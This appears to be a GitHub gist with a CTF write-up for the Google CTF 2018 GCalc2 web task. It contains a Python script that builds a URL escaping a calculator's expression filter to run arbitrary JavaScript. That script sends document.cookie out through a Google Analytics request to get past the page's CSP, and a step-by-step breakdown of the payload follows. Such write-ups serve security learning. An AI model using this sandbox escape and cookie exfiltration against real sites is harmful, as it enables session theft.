Skip to content
Please note that GitHub no longer supports Internet Explorer.

We recommend upgrading to the latest Microsoft Edge, Google Chrome, or Firefox.

Learn more

Instantly share code, notes, and snippets.

@beched beched/gcalc2_exp.py
Last active Jun 27, 2018

Embed
What would you like to do?
Google CTF 2018 Quals: GCalc2 web task solution
from urllib import quote_plus
ga_tid = 'UA-***-1' # put your GA id here
url = 'https://gcalc2.web.ctfcompetition.com/'
url += r'?expr=vars.pi.constructor.name.constructor.constructor(vars.pi.constructor.name.match().constructor(vars).keys().constructor.keys(vars).pop())()&vars=%7B%22pi%22:1.0,%22'
url += quote_plus('''
script = document.createElement('script');script.src='https://www.google-analytics.com/collect?v=1&tid=%s&cid='+Math.random()+'&t=event&ec=email&el='+Math.random()+'&cs=newsletter&cm=email&cn='+document.cookie+'&cm1=1&ea=test';document.head.appendChild(script);
'''.replace('"', '\\"').replace('\n','') % ga_tid)
url += r'%22:1%7D'
print url
The application implements client-side "calculator". You can also submit calculation requests to the flag bot.
Requests consist of 1) expression, 2) input vars JSON array.
Essential parts of the solution are as follows:
1) The expressions are executed by the following function:
function p(a, b) {
a = String(a).toLowerCase();
b = String(b);
if (!/^(?:[\(\)\*\/\+%\-0-9 ]|\bvars\b|[.]\w+)*$/.test(a)) throw Error(a);
b = JSON.parse(b, function(a, b) {
if (b && "object" === typeof b && !Array.isArray(b)) return Object.assign(Object.create(null), b);
if ("number" === typeof b) return b
});
return (new Function("vars", "return " + a))(b)
}
You should use a limited alphabet to execute a JS payload.
The payload from my exploit can be broken down the following way:
> vars={"pi":3,"return 31337":0}
{pi: 3, return 31337: 0}
> vars.pi.constructor.name.constructor.constructor
ƒ Function() { [native code] }
> vars.pi.constructor.name
"Number"
> vars.pi.constructor.name.match()
["", index: 0, input: "Number", groups: undefined]
> vars.pi.constructor.name.match().constructor(vars)
[{…}]
> vars.pi.constructor.name.match().constructor(vars).keys().constructor
ƒ Object() { [native code] }
> vars.pi.constructor.name.match().constructor(vars).keys().constructor.keys(vars)
(2) ["pi", "return 31337"]
> vars.pi.constructor.name.match().constructor(vars).keys().constructor.keys(vars).pop()
"return 31337"
> vars.pi.constructor.name.constructor.constructor(vars.pi.constructor.name.match().constructor(vars).keys().constructor.keys(vars).pop())()
31337
2) We should also bypass CSP.
https://gcalc2.web.ctfcompetition.com/ loads https://sandbox-gcalc2.web.ctfcompetition.com/static/calc.html in sandboxed iframe ("allow-scripts allow-modals allow-same-origin").
Sandbox sends the following header:
Content-security-policy: default-src 'self'; frame-ancestors https://gcalc2.web.ctfcompetition.com/; font-src https://fonts.gstatic.com; style-src 'self' https://*.googleapis.com 'unsafe-inline'; script-src 'self' https://www.google.com/recaptcha/ https://www.gstatic.com/recaptcha/ https://www.google-analytics.com https://*.googleapis.com 'unsafe-eval' https://www.googletagmanager.com; child-src https://www.google.com/recaptcha/; img-src https://www.google-analytics.com;
Meaning, we can execute inline scripts, but there's no straightforward way to exfiltrate data. Appended meta-tag with a new CSP doesn't help.
But we can actually use Google Analytics to "collect user data" and exfiltrate the cookie which contains the flag:
CTF{1+1=alert}
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
You can’t perform that action at this time.